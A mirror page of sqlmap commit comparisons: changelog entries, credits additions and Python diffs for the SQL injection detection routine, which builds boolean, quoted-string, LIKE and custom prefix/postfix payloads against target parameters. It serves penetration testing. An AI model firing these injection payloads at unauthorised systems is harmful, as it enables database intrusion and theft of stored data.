mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Compare commits
67 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
68354be45a | ||
|
|
afbd66f6d9 | ||
|
|
d0d6632c22 | ||
|
|
3fe493b63d | ||
|
|
c32ef9d751 | ||
|
|
2efb3ae2ba | ||
|
|
6dec56d616 | ||
|
|
bb9079aa9d | ||
|
|
94c79e3209 | ||
|
|
dda62ba463 | ||
|
|
7b55840b35 | ||
|
|
ec11f502df | ||
|
|
36d9ede001 | ||
|
|
b7f2602b50 | ||
|
|
2b0ec1868d | ||
|
|
4156181367 | ||
|
|
05a8c8d3bf | ||
|
|
bf2a857b9a | ||
|
|
072eb7154c | ||
|
|
9dbad512f1 | ||
|
|
15542d2772 | ||
|
|
38c9627700 | ||
|
|
78e8a83c11 | ||
|
|
7f055924a7 | ||
|
|
0f07e33e1a | ||
|
|
e3ddbe751f | ||
|
|
4cb161ce4f | ||
|
|
b700485a1b | ||
|
|
578bcb9140 | ||
|
|
f97585c593 | ||
|
|
e75487a26c | ||
|
|
e2a805ef6a | ||
|
|
a777f1ca35 | ||
|
|
034a3f387a | ||
|
|
3cf1658532 | ||
|
|
428612b431 | ||
|
|
beea58f2e9 | ||
|
|
e967b13378 | ||
|
|
6e548eb2ec | ||
|
|
785352d700 | ||
|
|
dc1f2deb74 | ||
|
|
f2737ad0a3 | ||
|
|
9be844cf3e | ||
|
|
80425c9ccd | ||
|
|
8f74fe2ce9 | ||
|
|
736b2e7323 | ||
|
|
727664aea7 | ||
|
|
7d0724843f | ||
|
|
66fb3c3033 | ||
|
|
7d7170fc97 | ||
|
|
654aecedfe | ||
|
|
fa0507ab39 | ||
|
|
84cbc60659 | ||
|
|
4bf1fcb8ec | ||
|
|
0bd5b52d95 | ||
|
|
ecc4a98071 | ||
|
|
9329f8c9c4 | ||
|
|
81ed7c2086 | ||
|
|
13f76cfe3b | ||
|
|
e1385eb2bf | ||
|
|
0c5d3df546 | ||
|
|
544ced52b5 | ||
|
|
2a01de3f0b | ||
|
|
be599d5a33 | ||
|
|
359b28bbaf | ||
|
|
0f79ec0088 | ||
|
|
278f0aad7c |
@@ -1,3 +1,72 @@
|
|||||||
|
sqlmap (0.6.4-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Minor enhancement to support an option (--is-dba) to show if the
|
||||||
|
current user is a database management system administrator;
|
||||||
|
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||||
|
and one of them is not reachable;
|
||||||
|
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||||
|
provided;
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
|
||||||
|
|
||||||
|
sqlmap (0.6.3-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Major enhancement to get list of targets to test from Burp proxy
|
||||||
|
(http://portswigger.net/suite/) requests log file path or WebScarab
|
||||||
|
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||||
|
'conversations/' folder path by providing option -l <filepath>;
|
||||||
|
* Major enhancement to support Partial UNION query SQL injection
|
||||||
|
technique too;
|
||||||
|
* Major enhancement to test if the web application technology supports
|
||||||
|
stacked queries (multiple statements) by providing option
|
||||||
|
--stacked-test which will be then used someday also by takeover
|
||||||
|
functionality;
|
||||||
|
* Major enhancement to test if the injectable parameter is affected by
|
||||||
|
a time based blind SQL injection technique by providing option
|
||||||
|
--time-test;
|
||||||
|
* Minor enhancement to fingerprint the web server operating system and
|
||||||
|
the web application technology by parsing some HTTP response headers;
|
||||||
|
* Minor enhancement to fingerprint the back-end DBMS operating system by
|
||||||
|
parsing the DBMS banner value when -b option is provided;
|
||||||
|
* Minor enhancement to be able to specify the number of seconds before
|
||||||
|
timeout the connection by providing option --timeout #, default is set
|
||||||
|
to 10 seconds and must be 3 or higher;
|
||||||
|
* Minor enhancement to be able to specify the number of seconds to wait
|
||||||
|
between each HTTP request by providing option --delay #;
|
||||||
|
* Minor enhancement to be able to get the injection payload --prefix and
|
||||||
|
--postfix from user;
|
||||||
|
* Minor enhancement to be able to enumerate table columns and dump table
|
||||||
|
entries, also when the database name is not provided, by using the
|
||||||
|
current database on MySQL and Microsoft SQL Server, the 'public'
|
||||||
|
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
|
||||||
|
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
|
||||||
|
options rather than only --string when comparing HTTP responses page
|
||||||
|
content;
|
||||||
|
* Minor enhancement to be able to specify extra HTTP headers by providing
|
||||||
|
option --headers. By default Accept, Accept-Language and Accept-Charset
|
||||||
|
headers are set;
|
||||||
|
* Minor improvement to be able to provide CU (as current user) as user
|
||||||
|
value (-U) when enumerating users privileges or users passwords;
|
||||||
|
* Minor improvements to sqlmap Debian package files;
|
||||||
|
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
|
||||||
|
library if available to speed up the sqlmap algorithmic operations;
|
||||||
|
* Minor improvement to retry the HTTP request up to three times in case
|
||||||
|
an exception is raised during the connection to the target url;
|
||||||
|
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
|
||||||
|
* Major bug fix so that when the user provide a SELECT statement to be
|
||||||
|
processed with an asterisk as columns, now it also work if in the FROM
|
||||||
|
there is no database name specified;
|
||||||
|
* Minor bug fix to correctly dump table entries when the column is
|
||||||
|
provided;
|
||||||
|
* Minor bug fix to correctly handle session.error, session.timeout and
|
||||||
|
httplib.BadStatusLine exceptions in HTTP requests;
|
||||||
|
* Minor bug fix to correctly catch connection exceptions and notify to
|
||||||
|
the user also if they occur within a thread;
|
||||||
|
* Increased default output level from 0 to 1;
|
||||||
|
* Updated documentation.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
|
||||||
|
|
||||||
sqlmap (0.6.2-1) stable; urgency=low
|
sqlmap (0.6.2-1) stable; urgency=low
|
||||||
|
|
||||||
* Major bug fix to correctly dump tables entries when --stop is not
|
* Major bug fix to correctly dump tables entries when --stop is not
|
||||||
@@ -12,6 +81,7 @@ sqlmap (0.6.2-1) stable; urgency=low
|
|||||||
variable) is an integer and, for some reasons, its resumed value from
|
variable) is an integer and, for some reasons, its resumed value from
|
||||||
the session file is a string or a binary file, the query is executed
|
the session file is a string or a binary file, the query is executed
|
||||||
again and its new output saved to the session file;
|
again and its new output saved to the session file;
|
||||||
|
* Minor bug fix in MySQL comment injection fingerprint technique;
|
||||||
* Minor improvement to correctly enumerate tables, columns and dump
|
* Minor improvement to correctly enumerate tables, columns and dump
|
||||||
tables entries on Oracle and on PostgreSQL when the database name is
|
tables entries on Oracle and on PostgreSQL when the database name is
|
||||||
not 'public' schema or a system database;
|
not 'public' schema or a system database;
|
||||||
@@ -19,11 +89,10 @@ sqlmap (0.6.2-1) stable; urgency=low
|
|||||||
database name, table name and column(s) are provided;
|
database name, table name and column(s) are provided;
|
||||||
* Updated the database management system fingerprint checks to correctly
|
* Updated the database management system fingerprint checks to correctly
|
||||||
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
|
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
|
||||||
* More user-friendly warnin messages.
|
* More user-friendly warning messages.
|
||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.6.1-1) stable; urgency=low
|
sqlmap (0.6.1-1) stable; urgency=low
|
||||||
|
|
||||||
* Major bug fix to blind SQL injection bisection algorithm to handle an
|
* Major bug fix to blind SQL injection bisection algorithm to handle an
|
||||||
@@ -45,7 +114,6 @@ sqlmap (0.6.1-1) stable; urgency=low
|
|||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.6-1) stable; urgency=low
|
sqlmap (0.6-1) stable; urgency=low
|
||||||
|
|
||||||
* Complete code refactor and many bugs fixed;
|
* Complete code refactor and many bugs fixed;
|
||||||
@@ -111,7 +179,6 @@ sqlmap (0.6-1) stable; urgency=low
|
|||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.5-1) stable; urgency=low
|
sqlmap (0.5-1) stable; urgency=low
|
||||||
|
|
||||||
* Added support for Oracle database management system
|
* Added support for Oracle database management system
|
||||||
@@ -159,7 +226,6 @@ sqlmap (0.5-1) stable; urgency=low
|
|||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.4-1) stable; urgency=low
|
sqlmap (0.4-1) stable; urgency=low
|
||||||
|
|
||||||
* Added DBMS fingerprint based also upon HTML error messages parsing
|
* Added DBMS fingerprint based also upon HTML error messages parsing
|
||||||
@@ -188,14 +254,14 @@ sqlmap (0.4-1) stable; urgency=low
|
|||||||
the remote DBMS;
|
the remote DBMS;
|
||||||
* Major improvements in union.UnionCheck() and union.UnionUse()
|
* Major improvements in union.UnionCheck() and union.UnionUse()
|
||||||
functions to make it possible to exploit inband SQL injection also
|
functions to make it possible to exploit inband SQL injection also
|
||||||
with database comment characters ('--' and '#') in UNION SELECT
|
with database comment characters ('--' and '#') in UNION query
|
||||||
statements;
|
statements;
|
||||||
* Added the possibility to save the output into a file while performing
|
* Added the possibility to save the output into a file while performing
|
||||||
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
|
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
|
||||||
same query output retrieving in a second time (--resume);
|
same query output retrieving in a second time (--resume);
|
||||||
* Added support to specify the database table column to enumerate
|
* Added support to specify the database table column to enumerate
|
||||||
(-C COL);
|
(-C COL);
|
||||||
* Added inband SQL injection (UNION SELECT) support (--union-use);
|
* Added inband SQL injection (UNION query) support (--union-use);
|
||||||
* Complete code refactoring, a lot of minor and some major fixes in
|
* Complete code refactoring, a lot of minor and some major fixes in
|
||||||
libraries, many minor improvements;
|
libraries, many minor improvements;
|
||||||
* Reviewed the directory tree structure;
|
* Reviewed the directory tree structure;
|
||||||
@@ -205,7 +271,6 @@ sqlmap (0.4-1) stable; urgency=low
|
|||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.3-1) stable; urgency=low
|
sqlmap (0.3-1) stable; urgency=low
|
||||||
|
|
||||||
* Added module for MS SQL Server;
|
* Added module for MS SQL Server;
|
||||||
@@ -226,7 +291,6 @@ sqlmap (0.3-1) stable; urgency=low
|
|||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
|
||||||
|
|
||||||
|
|
||||||
sqlmap (0.2-1) stable; urgency=low
|
sqlmap (0.2-1) stable; urgency=low
|
||||||
|
|
||||||
* complete refactor of entire program;
|
* complete refactor of entire program;
|
||||||
|
|||||||
2759
doc/README.html
2759
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
2671
doc/README.sgml
2671
doc/README.sgml
File diff suppressed because it is too large
Load Diff
36
doc/THANKS
36
doc/THANKS
@@ -5,16 +5,26 @@ Chip Andrews <chip@sqlsecurity.com>
|
|||||||
at SQLSecurity.com and permission to implement the update feature
|
at SQLSecurity.com and permission to implement the update feature
|
||||||
taking data from his site
|
taking data from his site
|
||||||
|
|
||||||
|
Jack Butler <fattredd@hotmail.com>
|
||||||
|
for providing me with the sqlmap site favicon
|
||||||
|
|
||||||
Karl Chen <quarl@cs.berkeley.edu>
|
Karl Chen <quarl@cs.berkeley.edu>
|
||||||
for providing with the multithreading patch for the inference
|
for providing with the multithreading patch for the inference
|
||||||
algorithm
|
algorithm
|
||||||
|
|
||||||
|
Pierre Chifflier <pollux@debian.org>
|
||||||
|
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
||||||
|
project repository
|
||||||
|
|
||||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||||
for suggesting good features
|
for suggesting good features
|
||||||
|
|
||||||
Adam Faheem <faheem.adam@is.co.za>
|
Adam Faheem <faheem.adam@is.co.za>
|
||||||
for reporting a few bugs
|
for reporting a few bugs
|
||||||
|
|
||||||
|
Jim Forster <jimforster@goldenwest.com>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
Rong-En Fan <rafan@freebsd.org>
|
Rong-En Fan <rafan@freebsd.org>
|
||||||
for commiting the sqlmap 0.5 port to the official FreeBSD project
|
for commiting the sqlmap 0.5 port to the official FreeBSD project
|
||||||
repository
|
repository
|
||||||
@@ -26,6 +36,7 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
|
|||||||
Ivan Giacomelli <truemilk@insiberia.net>
|
Ivan Giacomelli <truemilk@insiberia.net>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
for suggesting a minor enhancement
|
for suggesting a minor enhancement
|
||||||
|
for reviewing the documentation
|
||||||
|
|
||||||
Davide Guerri <d.guerri@caspur.it>
|
Davide Guerri <d.guerri@caspur.it>
|
||||||
for suggesting an enhancement
|
for suggesting an enhancement
|
||||||
@@ -44,6 +55,12 @@ Will Holcomb <wholcomb@gmail.com>
|
|||||||
Luke Jahnke <luke.jahnke@gmail.com>
|
Luke Jahnke <luke.jahnke@gmail.com>
|
||||||
for reporting a bug when running against MySQL < 5.0
|
for reporting a bug when running against MySQL < 5.0
|
||||||
|
|
||||||
|
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||||
|
for providing me with feedback on the user's manual
|
||||||
|
|
||||||
|
Nico Leidecker <nico@leidecker.info>
|
||||||
|
for providing me with feedback on a few features
|
||||||
|
|
||||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||||
for reporting a bug when injecting on a POST data parameter
|
for reporting a bug when injecting on a POST data parameter
|
||||||
|
|
||||||
@@ -52,6 +69,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
|
|||||||
for providing really appreciated feedback
|
for providing really appreciated feedback
|
||||||
for suggesting a lot of ideas and features
|
for suggesting a lot of ideas and features
|
||||||
|
|
||||||
|
Ferruh Mavituna <ferruh@mavituna.com>
|
||||||
|
for providing me with ideas on the implementation on a couple of
|
||||||
|
new features
|
||||||
|
|
||||||
Enrico Milanese <enricomilanese@gmail.com>
|
Enrico Milanese <enricomilanese@gmail.com>
|
||||||
for reporting a bugs when using (-a) a single line User-Agent file
|
for reporting a bugs when using (-a) a single line User-Agent file
|
||||||
for providing me with some ideas for the PHP backdoor
|
for providing me with some ideas for the PHP backdoor
|
||||||
@@ -88,12 +109,24 @@ Richard Safran <allapplyhere@yahoo.com>
|
|||||||
Tomoyuki Sakurai <cherry@trombik.org>
|
Tomoyuki Sakurai <cherry@trombik.org>
|
||||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||||
|
|
||||||
|
Philippe A. R. Schaeffer <schaeff@compuphil.de>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Sven Schluter <sschlueter@netzwerk.cc>
|
||||||
|
for providing with a patch for waiting a number of seconds between
|
||||||
|
each HTTP request
|
||||||
|
|
||||||
M Simkin <mlsimkin@cox.net>
|
M Simkin <mlsimkin@cox.net>
|
||||||
for suggesting a feature
|
for suggesting a feature
|
||||||
|
|
||||||
|
Jason Swan <jasoneswan@gmail.com>
|
||||||
|
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||||
|
for suggesting a couple of improvements
|
||||||
|
|
||||||
Alessandro Tanasi <alessandro@tanasi.it>
|
Alessandro Tanasi <alessandro@tanasi.it>
|
||||||
for extensively beta-testing sqlmap
|
for extensively beta-testing sqlmap
|
||||||
for suggesting many features and reporting some bugs
|
for suggesting many features and reporting some bugs
|
||||||
|
for reviewing the documentation
|
||||||
|
|
||||||
Efrain Torres <et@metasploit.com>
|
Efrain Torres <et@metasploit.com>
|
||||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||||
@@ -110,6 +143,9 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
|
|||||||
for benchmarking sqlmap in the context of his SQL injection
|
for benchmarking sqlmap in the context of his SQL injection
|
||||||
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
||||||
|
|
||||||
|
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
|
||||||
|
for reporting an unhandled connection exception
|
||||||
|
|
||||||
fufuh <fufuh@users.sourceforge.net>
|
fufuh <fufuh@users.sourceforge.net>
|
||||||
for reporting a bug when running on Windows
|
for reporting a bug when running on Windows
|
||||||
|
|
||||||
|
|||||||
@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
|
|||||||
the example below.
|
the example below.
|
||||||
|
|
||||||
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
|
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
|
||||||
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to
|
through WMAP framework you first need to install sqlmap on your system or
|
||||||
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch
|
add its file system path to the PATH environment variable.
|
||||||
msfconsole because this module has been officially integrated in Metasploit
|
|
||||||
from the release 3.2.
|
|
||||||
|
|
||||||
$ ./msfconsole
|
$ ./msfconsole
|
||||||
|
|
||||||
|
|||||||
@@ -31,7 +31,9 @@ from lib.core.data import kb
|
|||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
|
from lib.techniques.blind.timebased import timeTest
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
def action():
|
def action():
|
||||||
@@ -66,9 +68,15 @@ def action():
|
|||||||
|
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
print "%s\n" % conf.dbmsHandler.getFingerprint()
|
||||||
|
|
||||||
|
# Techniques options
|
||||||
|
if conf.stackedTest:
|
||||||
|
dumper.string("stacked queries support", stackedTest())
|
||||||
|
|
||||||
|
if conf.timeTest:
|
||||||
|
dumper.string("time based blind sql injection payload", timeTest())
|
||||||
|
|
||||||
# Miscellaneous options
|
|
||||||
if conf.unionTest:
|
if conf.unionTest:
|
||||||
dumper.string("valid union", unionTest())
|
dumper.string("valid union", unionTest())
|
||||||
|
|
||||||
@@ -82,6 +90,9 @@ def action():
|
|||||||
if conf.getCurrentDb:
|
if conf.getCurrentDb:
|
||||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||||
|
|
||||||
|
if conf.isDba:
|
||||||
|
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
|
||||||
|
|
||||||
if conf.getUsers:
|
if conf.getUsers:
|
||||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||||
|
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.controller.action import action
|
from lib.controller.action import action
|
||||||
@@ -35,6 +36,7 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.session import setString
|
from lib.core.session import setString
|
||||||
|
from lib.core.session import setRegexp
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
@@ -49,13 +51,49 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
* Double quoted string injection
|
* Double quoted string injection
|
||||||
"""
|
"""
|
||||||
|
|
||||||
logMsg = "testing unescaped numeric injection "
|
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
randStr = randomStr()
|
randStr = randomStr()
|
||||||
|
|
||||||
|
if conf.prefix or conf.postfix:
|
||||||
|
prefix = ""
|
||||||
|
postfix = ""
|
||||||
|
|
||||||
|
if conf.prefix:
|
||||||
|
prefix = conf.prefix
|
||||||
|
|
||||||
|
if conf.postfix:
|
||||||
|
postfix = conf.postfix
|
||||||
|
|
||||||
|
infoMsg = "testing custom injection "
|
||||||
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||||
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
|
if trueResult == kb.defaultResult:
|
||||||
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||||
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
|
if falseResult != kb.defaultResult:
|
||||||
|
infoMsg = "confirming custom injection "
|
||||||
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||||
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
|
if falseResult != kb.defaultResult:
|
||||||
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
|
infoMsg += "custom injectable "
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
return "custom"
|
||||||
|
|
||||||
|
infoMsg = "testing unescaped numeric injection "
|
||||||
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
@@ -64,148 +102,148 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "confirming unescaped numeric injection "
|
infoMsg = "confirming unescaped numeric injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
logMsg += "unescaped numeric injectable "
|
infoMsg += "unescaped numeric injectable "
|
||||||
logMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return "numeric"
|
return "numeric"
|
||||||
|
|
||||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
logMsg += "unescaped numeric injectable"
|
infoMsg += "unescaped numeric injectable"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logMsg = "testing single quoted string injection "
|
infoMsg = "testing single quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == kb.defaultResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "confirming single quoted string injection "
|
infoMsg = "confirming single quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
logMsg += "single quoted string injectable "
|
infoMsg += "single quoted string injectable "
|
||||||
logMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return "stringsingle"
|
return "stringsingle"
|
||||||
|
|
||||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
logMsg += "single quoted string injectable"
|
infoMsg += "single quoted string injectable"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logMsg = "testing LIKE single quoted string injection "
|
infoMsg = "testing LIKE single quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == kb.defaultResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
